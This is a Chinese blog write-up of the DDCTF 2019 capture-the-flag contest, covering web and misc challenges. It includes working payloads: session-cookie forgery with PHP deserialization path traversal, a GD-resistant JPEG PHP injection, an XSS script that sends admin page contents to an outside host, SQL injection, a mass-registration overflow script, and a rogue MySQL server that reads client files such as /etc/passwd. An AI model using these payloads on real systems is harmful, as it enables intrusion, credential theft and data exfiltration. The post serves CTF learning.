2019DDctfWP

Time: 2019-04-27 11:46

image.png

本来想挺进前三十呢,结果大佬们都太强了,无奈。。

web

滴~

image.png

打开界面就一张图片。
注意url
http://117.51.150.246/index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09
参数这经过一次base16,两次base64,加密,解密后也就是flag.jpg,因此可尝试读取index.php,经过加密后为TmprMlJUWTBOalUzT0RKRk56QTJPRGN3

image.png

访问源代码
image.png

base64解密后

<?php
/*
 * https://blog.csdn.net/FengBanLiuYun/article/details/80616607
 * Date: July 4,2018
 */
error_reporting(E_ALL || ~E_NOTICE);


header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
    header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'.$_GET['jpg'].'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'</br>';
$file = str_replace("config","!", $file);
echo $file.'</br>';
$txt = base64_encode(file_get_contents($file));

echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
 * Can you find the flag file?
 *
 */

?>

审计代码发现它做了正则,不允许使用特殊字符,也替换了config,刚开始以为config为入口点,结果一直绕不过,得不到config.php文件,后来想放弃发现意外的,出题人博客https://blog.csdn.net/FengBanLiuYun/article/details/80616607

image.png

在出题人博客发现了这个,试了试
http://117.51.150.246/practice.txt.swp,访问后
image.png

刚开始是用老方法base64加密后读取的,后来发现可以直接访问。
看到这个后,想起来config用!替换了,可以构造f1agconfigddctf.php去访问文件
image.png

base64解密

<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
    $content=trim(file_get_contents($k));
    if($uid==$content)
	{
		echo $flag;
	}
	else
	{
		echo'hello';
	}
}

?>

很简单的绕过,
构造http://117.51.150.246/f1ag!ddctf.php?k=&uid=
flag:
image.png

web签到

image.png

打开后要认证账号密码,刚开始以为要爆破,后来抓包发现
image.png

加上admin,登录成功返回php文件,打开后
image.png

为源码,代码审计
application.php

<?php
Class Application {
    var $path = '';


    public function response($data, $errMsg = 'success') {
        $ret = ['errMsg' => $errMsg,
            'data' => $data];
        $ret = json_encode($ret);
        header('Content-type: application/json');
        echo $ret;

    }

    public function auth() {
        $DIDICTF_ADMIN = 'admin';
        if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
            $this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
            return TRUE;
        }else{
            $this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error');
            exit();
        }

    }
    private function sanitizepath($path) {
    $path = trim($path);
    $path=str_replace('../','',$path);
    $path=str_replace('..\\','',$path);
    return $path;
}

public function __destruct() {
    if(empty($this->path)) {
        exit();
    }else{
        $path = $this->sanitizepath($this->path);
        if(strlen($path) !== 18) {
            exit();
        }
        $this->response($data=file_get_contents($path),'Congratulations');
    }
    exit();
}
}

session.php

<?php
include 'Application.php';
class Session extends Application {

    //key建议为8位字符串
    var $eancrykey                  = '';
    var $cookie_expiration			= 7200;
    var $cookie_name                = 'ddctf_id';
    var $cookie_path				= '';
    var $cookie_domain				= '';
    var $cookie_secure				= FALSE;
    var $activity                   = "DiDiCTF";


    public function index()
    {
	if(parent::auth()) {
            $this->get_key();
            if($this->session_read()) {
                $data = 'DiDI Welcome you %s';
                $data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
                parent::response($data,'sucess');
            }else{
                $this->session_create();
                $data = 'DiDI Welcome you';
                parent::response($data,'sucess');
            }
        }

    }

    private function get_key() {
        //eancrykey  and flag under the folder
        $this->eancrykey =  file_get_contents('../config/key.txt');
    }

    public function session_read() {
        if(empty($_COOKIE)) {
        return FALSE;
        }

        $session = $_COOKIE[$this->cookie_name];
        if(!isset($session)) {
            parent::response("session not found",'error');
            return FALSE;
        }
        $hash = substr($session,strlen($session)-32);  //提取session中32位MD5值
        $session = substr($session,0,strlen($session)-32); //提取session中序列化字符串

        if($hash !== md5($this->eancrykey.$session)) {    //判断32位MD5是否与key加上序列化字符串的MD5值相等
            parent::response("the cookie data not match",'error');
            return FALSE;
        }
        $session = unserialize($session);


        if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
            return FALSE;
        }

        if(!empty($_POST["nickname"])) {
            $arr = array($_POST["nickname"],$this->eancrykey);
            $data = "Welcome my friend %s";
            foreach ($arr as $k => $v) {
                $data = sprintf($data,$v);
            }
            parent::response($data,"Welcome");
        }

        if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
            parent::response('the ip addree not match'.'error');
            return FALSE;
        }
        if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
            parent::response('the user agent not match','error');
            return FALSE;
        }
        return TRUE;

    }

    private function session_create() {
        $sessionid = '';
        while(strlen($sessionid) < 32) {
            $sessionid .= mt_rand(0,mt_getrandmax());
        }

        $userdata = array(
            'session_id' => md5(uniqid($sessionid,TRUE)),
            'ip_address' => $_SERVER['REMOTE_ADDR'],
            'user_agent' => $_SERVER['HTTP_USER_AGENT'],
            'user_data' => '',
        );

        $cookiedata = serialize($userdata);
        $cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
        $expire = $this->cookie_expiration + time();
        setcookie(
            $this->cookie_name,
            $cookiedata,
            $expire,
            $this->cookie_path,
            $this->cookie_domain,
            $this->cookie_secure
            );

    }
}


$ddctf = new Session();
$ddctf->index();
?>

重点的地方添加过注释,这题的思路就是响应的set-cookie,当做请求的cookie,然后通过传参获取key值,反序列化构造session。
image.png

image.png

EzblrbNS为key,也就是构造session的密钥,

$hash = substr($session,strlen($session)-32);  //提取session中32位MD5值
        $session = substr($session,0,strlen($session)-32); //提取session中序列化字符串

        if($hash !== md5($this->eancrykey.$session)) {    //判断32位MD5是否与key加上序列化字符串的MD5值相等
            parent::response("the cookie data not match",'error');
            return FALSE;
        }
        $session = unserialize($session);

根据这段代码可知,我们先对正常session分析一下

a:4:{s:10:"session_id";s:32:"240365a336f722945033f8c957231fff";s:10:"ip_address";s:14:"120.194.101.92";s:10:"user_agent";s:77:"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0";s:9:"user_data";s:0:"";}e29a471f922c18b31b804bf3bb6765e0;

这是url解码后的session,代码审计,先提取session中的32位MD5值,然后再提取序列化字符串,然后判断32位MD5是否与key拼接序列化字符串的MD5值相等,相等就会反序列化session。
根据这个我们可以构造session

public function __destruct() {
    if(empty($this->path)) {
        exit();
    }else{
        $path = $this->sanitizepath($this->path);
        if(strlen($path) !== 18) {
            exit();
        }
        $this->response($data=file_get_contents($path),'Congratulations');
    }
    exit();
}
}

再看app.php中的内容,反序列化会调用魔法函数,读取文件内容,前面有提示flag在…/config/flag.txt中,因为过滤了…/,所以用…//config/flag.txt

poc

<?php
Class Application {
    var $path = '....//config/flag.txt';
public function ss(){
        echo $this->path;
}
}
$ddctf = new Application();
$ddctf->path = '....//config/flag.txt';
$ddctf->ss();

echo serialize($ddctf);  

?>
```php
O:11:"Application":1:{s:4:"path";s:21:"....//config/flag.txt";}

session:
```php
O:11:"Application":1:{s:4:"path";s:21:"....//config/flag.txt";}77cd55a8d29df4f005f85e536d876525

然后url编码,带着session访问session.php即可得到flag。
image.png

Upload-IMG

这题是文件上传,无法上传脚本文件,上传任意图片文件后会发现图片源码中无phpinfo()提示,于是就在图片里加了phpinfo(),结果还没用,查看返回的新图片内容里面phpinfo没了,后来知道图片被渲染了,参考:https://github.com/fakhrizulkifli/Defeating-PHP-GD-imagecreatefromjpeg

我们可以上传任意jpg图片
image.png

上传的图片无phpinfo,然后另存为返回的新图片,打开winhex查找FFDA修改(00 0C 03 01 00 02 11 03 11 00 3F 00)之后的内容为<?php phpinfo();?>
image.png

然后重新上传,
image.png

欢迎报名DDCTF

备注处xss,img发现能发出请求,网上找到一段读html的payload:

#<script src='http://your_ip/1.js'></script>

xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
    if (xmlhttp.readyState==4 && xmlhttp.status==200)
    {
        document.location='http://ip/?'+btoa(xmlhttp.responseText);
    }
}
xmlhttp.open("GET","http://117.51.147.2/Ze02pQYLf5gGNyMn/admin.php",true);
xmlhttp.send();

找到了接口位置

<a_target="_blank"__href="query_aIeMu0FUoVrW0NWPHbN6z4xh.php">

id参数,尝试注入,sleep和bool都不行,题目环境比较乱,最后union直接出结果。

/Ze02pQYLf5gGNyMn/query_aIeMu0FUoVrW0NWPHbN6z4xh.php?id=-1%aa%27or%201%20union%20select%201,

大吉大利,今晚吃鸡~

这题很坑,不过护网杯有道类似的题,买辣条,这题利用的整数溢出可以买到入场券,然后移除对手拿到flag。
整数溢出可以拿2的63次方或2的62次方尝试,结果没试成,后来拿4611686018427387904试出来了。
注册账号进去后购买入场券抓包修改价格4611686018427387904

image.png

然后支付购买,成功后会
image.png

需要移除对手,但移除对手需要对方的id和ticket,这就很难受了。不知道这个东西,瞬间想到可以创建小号,用小号的id作为对手去移除,发现可以,这样需要创建100个,只能写脚本了,跑脚本的时候发现,并不是每个id都会当做对手去移除,有的移除不成功,就这样跑了1000多个跑出了flag。
image.png

脚本附上,太垃圾,当时只想着跑flag。

import requests
import re
import time
session=requests.Session()


m= 1
for m in range(1000):
	username = 'dc1'+str(m)
	password = '123456789'
	#print(username)

	url = 'http://117.51.147.155:5050/ctf/api/register?name='+username+'&password='+password+''  #创建账号密码

	html = requests.get(url)
	#print(html.text)
	time.sleep(0.2)

	url2 = 'http://117.51.147.155:5050/ctf/api/login?name='+username+'&password='+password+''  #登录账号
	html2 = session.get(url2)
	#print(html2.text)
	time.sleep(0.2)

	url3 = 'http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=4611686018427387904' #购买门票
	html3 = session.get(url3)
	#print(html3.text)
	time.sleep(0.2)
	r = re.search(r'\"\:\".*?\"', html3.text, re.M | re.S)
	#print(r[0])
	r1 = re.sub('":"|"','',r[0])
	#print(r1)                                                      #获取bill_id值
 

	url4 = 'http://117.51.147.155:5050/ctf/api/pay_ticket?bill_id='+r1+''  #获取id和ticket
	html4 = session.get(url4)
	#print(html4.text)

	id1 = re.search(r'id\"\:.*?\,', html4.text, re.M | re.S)
	#print(id1[0])
	id2 = re.search(r'\"\:\".*?\"', html4.text, re.M | re.S)
	#print(id2)
	id1 = re.sub('id":|,','', id1[0])   #id
	print(id1)
	id2 = re.sub('":"|"','', id2[0])     #ticket
	print(id2)


	url5 = 'http://117.51.147.155:5050/ctf/api/login?name=bo&password=123456789' #自己大号
	html5 = session.get(url5)
	#print(html5.text)

	url6 = 'http://117.51.147.155:5050/ctf/api/remove_robot?id='+id1+'&ticket='+id2+''
	html6 = session.get(url6)
	print(html6.text)
	# id11={}
	# id11[id1] = id2
	# if (len(id11)>105):
	# 	break
    	
    	

homebrew event loop

python代码审计

# -*- encoding: utf-8 -*- 
# written in python 2.7 
__author__ = 'garzon' 

from flask import Flask, session, request, Response 
import urllib 

app = Flask(__name__) 
app.secret_key = '*********************' # censored 
url_prefix = '/d5af31f96147e657' 

def FLAG(): 
    return 'FLAG_is_here_but_i_wont_show_you'  # censored 
     
def trigger_event(event): 
    session['log'].append(event) 
    if len(session['log']) > 5: session['log'] = session['log'][-5:] 
    if type(event) == type([]): 
        request.event_queue += event 
    else: 
        request.event_queue.append(event) 

def get_mid_str(haystack, prefix, postfix=None): 
    haystack = haystack[haystack.find(prefix)+len(prefix):] 
    if postfix is not None: 
        haystack = haystack[:haystack.find(postfix)] 
    return haystack 
     
class RollBackException: pass 

def execute_event_loop(): 
    valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#') 
    resp = None 
    while len(request.event_queue) > 0: 
        event = request.event_queue[0] # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......" 
        request.event_queue = request.event_queue[1:] 
        if not event.startswith(('action:', 'func:')): continue 
        for c in event: 
            if c not in valid_event_chars: break 
        else: 
            is_action = event[0] == 'a' 
            print(event)
            action = get_mid_str(event, ':', ';') 
            args = get_mid_str(event, action+';').split('#') 
            print(args)
            try: 
                event_handler = eval(action + ('_handler' if is_action else '_function')) 
                ret_val = event_handler(args) 
            except RollBackException: 
                if resp is None: resp = '' 
                resp += 'ERROR! All transactions have been cancelled. <br />' 
                resp += '<a href="./?action:view;index">Go back to index.html</a><br />' 
                session['num_items'] = request.prev_session['num_items'] 
                session['points'] = request.prev_session['points'] 
                break 
            except Exception, e: 
                if resp is None: resp = '' 
                #resp += str(e) # only for debugging 
                continue 
            if ret_val is not None: 
                if resp is None: resp = ret_val 
                else: resp += ret_val 
    if resp is None or resp == '': resp = ('404 NOT FOUND', 404) 
    session.modified = True 
    return resp 
     
@app.route(url_prefix+'/') 
def entry_point(): 
    querystring = urllib.unquote(request.query_string) 
    request.event_queue = [] 
    if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100: 
        querystring = 'action:index;False#False' 
    if 'num_items' not in session: 
        session['num_items'] = 0 
        session['points'] = 3 
        session['log'] = [] 
    request.prev_session = dict(session) 
    trigger_event(querystring) 
    return execute_event_loop() 

# handlers/functions below -------------------------------------- 

def view_handler(args): 
    page = args[0] 
    html = '' 
    html += '[INFO] you have {} diamonds, {} points now.<br />'.format(session['num_items'], session['points']) 
    if page == 'index': 
        html += '<a href="./?action:index;True%23False">View source code</a><br />' 
        html += '<a href="./?action:view;shop">Go to e-shop</a><br />' 
        html += '<a href="./?action:view;reset">Reset</a><br />' 
    elif page == 'shop': 
        html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />' 
    elif page == 'reset': 
        del session['num_items'] 
        html += 'Session reset.<br />' 
    html += '<a href="./?action:view;index">Go back to index.html</a><br />' 
    return html 

def index_handler(args): 
    bool_show_source = str(args[0]) 
    bool_download_source = str(args[1]) 
    if bool_show_source == 'True': 
     
        source = open('eventLoop.py', 'r') 
        html = '' 
        if bool_download_source != 'True': 
            html += '<a href="./?action:index;True%23True">Download this .py file</a><br />' 
            html += '<a href="./?action:view;index">Go back to index.html</a><br />' 
             
        for line in source: 
            if bool_download_source != 'True': 
                html += line.replace('&','&amp;').replace('\t', '&nbsp;'*4).replace(' ','&nbsp;').replace('<', '&lt;').replace('>','&gt;').replace('\n', '<br />') 
            else: 
                html += line 
        source.close() 
         
        if bool_download_source == 'True': 
            headers = {} 
            headers['Content-Type'] = 'text/plain' 
            headers['Content-Disposition'] = 'attachment; filename=serve.py' 
            return Response(html, headers=headers) 
        else: 
            return html 
    else: 
        trigger_event('action:view;index') 
         
def buy_handler(args): 
    num_items = int(args[0]) 
    if num_items <= 0: return 'invalid number({}) of diamonds to buy<br />'.format(args[0]) 
    session['num_items'] += num_items  
    trigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index']) 
     
def consume_point_function(args): 
    point_to_consume = int(args[0]) 
    if session['points'] < point_to_consume: raise RollBackException() 
    session['points'] -= point_to_consume 
     
def show_flag_function(args): 
    flag = args[0] 
    #return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it. 
    return 'You naughty boy! ;) <br />' 
     
def get_flag_handler(args): 
    if session['num_items'] >= 5: 
        trigger_event('func:show_flag;' + FLAG()) # show_flag_function has been disabled, no worries 
    trigger_event('action:view;index') 
     
if __name__ == '__main__': 
    app.run(debug=True, host='127.0.0.1') 

看到代码我们首先看到show_flag函数,直接返回flag,但在这里flag被禁止返回,所以无法通过这种方法,接下来还有一个函数get_flag,因此只能从这个函数入手,通过调用flag函数返回flag。
流程核心在trigger_event方法,trigger_event函数会把收到的参数存入session[‘log’],然后存入队列中。url参数需要以action:开头,并且url参数会直接全部传入trigger_event中,最终会返回execute_event_loop()函数。可以看到这个函数会循环提取队列中的字符串,最终由get_mid_str函数提取出函数名和参数,然后把函数名用eval与_handler或者_function拼接,接着执行该函数。看一下get_flag_handler函数,当session[‘num_items’] >= 5会把flag传入trigger_event,然后会存入session,我们把session解码即可看到flag。
这里有比较关键的两个函数buy_handler和consume_point_function,我们的points初始为3,session[‘num_items’]为0,每一次buy的参数要小于points的值,否则会报错。
get_mid_str函数会直接返回第一个;之后的内容,接着用#号分割为列表。
而我们的trigger_event是支持传入列表的,那么我们可以调用名为trigger_event的函数,参数先为buy后get_flag即可。
payload:?action:trigger_event%23;action:buy;5%23action:get_flag;,访问之后session解码即可。
py解码脚本

""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'

# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast

# Lib for argument parsing
import argparse

# Description for help
parser = argparse.ArgumentParser(
            description='Flask Session Cookie Decoder/Encoder',
            epilog="Author : Wilson Sumanang, Alexandre ZANNI")

# prepare sub commands
subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')

# create the parser for the encode command
parser_encode = subparsers.add_parser('encode', help='encode')
parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
                            help='Secret key', required=True)
parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
                            help='Session cookie structure', required=True)

# create the parser for the decode command
parser_decode = subparsers.add_parser('decode', help='decode')
parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
                            help='Secret key', required=False)
parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
                            help='Session cookie value', required=True)

# get args
args = parser.parse_args()

# external Imports
from flask.sessions import SecureCookieSessionInterface


class MockApp(object):

    def __init__(self, secret_key):
        self.secret_key = secret_key


def session_cookie_encoder(secret_key, session_cookie_structure):
    """ Encode a Flask session cookie """
    try:
        app = MockApp(secret_key)

        session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
        si = SecureCookieSessionInterface()
        s = si.get_signing_serializer(app)

        return s.dumps(session_cookie_structure)
    except Exception as e:
        return "[Encoding error]{}".format(e)


def session_cookie_decoder(session_cookie_value, secret_key=None):
    """ Decode a Flask cookie  """
    try:
        if(secret_key==None):
            compressed = False
            payload = session_cookie_value

            if payload.startswith(b'.'):
                compressed = True
                payload = payload[1:]

            data = payload.split(".")[0]

            data = base64_decode(data)
            if compressed:
                data = zlib.decompress(data)

            return data
        else:
            app = MockApp(secret_key)

            si = SecureCookieSessionInterface()
            s = si.get_signing_serializer(app)

            return s.loads(session_cookie_value)
    except Exception as e:
        return "[Decoding error]{}".format(e)


if __name__ == "__main__":
    # find the option chosen
    if(args.subcommand == 'encode'):
        if(args.secret_key is not None and args.cookie_structure is not None):
            print(session_cookie_encoder(args.secret_key, args.cookie_structure))
    elif(args.subcommand == 'decode'):
        if(args.secret_key is not None and args.cookie_value is not None):
            print(session_cookie_decoder(args.cookie_value,args.secret_key))
        elif(args.cookie_value is not None):
            print(session_cookie_decoder(args.cookie_value))

smi1e师傅两道题解

mysql弱密码

一看到题目描述就想到了mysql服务端伪造
https://xz.aliyun.com/t/3277
然后网上找了个py脚本来伪造
https://www.cnblogs.com/apossin/p/10127496.html

#coding=utf-8
import socket
import logging
logging.basicConfig(level=logging.DEBUG)

filename="/etc/passwd"
sv=socket.socket()
sv.bind(("",3306))
sv.listen(5)
conn,address=sv.accept()
logging.info('Conn from: %r', address)
conn.sendall("\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00")
conn.recv(9999)
logging.info("auth okay")
conn.sendall("\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00")
conn.recv(9999)
logging.info("want file...")
wantfile=chr(len(filename)+1)+"\x00\x00\x01\xFB"+filename
conn.sendall(wantfile)
content=conn.recv(9999)
logging.info(content)
conn.close() 

题目首先会给你一个agent.py,看源码知道这是一个验证服务端有没有运行mysql进程的文件,agent.py会使用8213端口,调用netstat -plnt命令查看进程和端口并返回给http请求,题目服务器先会请求你的vps上8123端口来验证是否开启mysql进程,所以直接把输出改为mysql的进程就可以绕过
result = [{‘local_address’:“0.0.0.0:3306”,“Process_name”:“1234/mysqld”}]
运行上面的py就可以读文件了,题目表单输入的是你的vps地址和mysql端口
然后疯狂读文件,读数据库文件发现只有字段和表名没有flag,后面想到有个/root/.mysql_history文件,尝试读取
就出flag了
不过这个好像是非预期解,正解应该是读取idb文件。而且读取了一下.bash_history和.viminfo文件还有新的收获,这个题目服务器上还运行着吃鸡的题目环境,还可以读取吃鸡的题目源码,flag高高的挂在里面。。

题解转自chamd5安全团队

MISC

真-签到题

image.png

[外链图片转存失败(img-eXn3or9L-1562586974233)(https://upload-images.jianshu.io/upload_images/9113981-e9b01238ade79490.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)]

Wireshark

简单的流量分析
下载后用wireshark分析

image.png

导出http流会发现,在这有三张图片,我只用前两张做出来的。
image.png

提取出来两张图片,
image.png

image.png

第一张图片隐藏了key值,拿出来修改高度
image.png

或者pcrt工具还原也行
image.png

还有一个提示
image.png

就是它透漏了这个解密网站。
image.png

base16或hex解码后
image.png

逆向二:
https://blog.csdn.net/m0_37809075/article/details/89280350

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

BerL1n

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值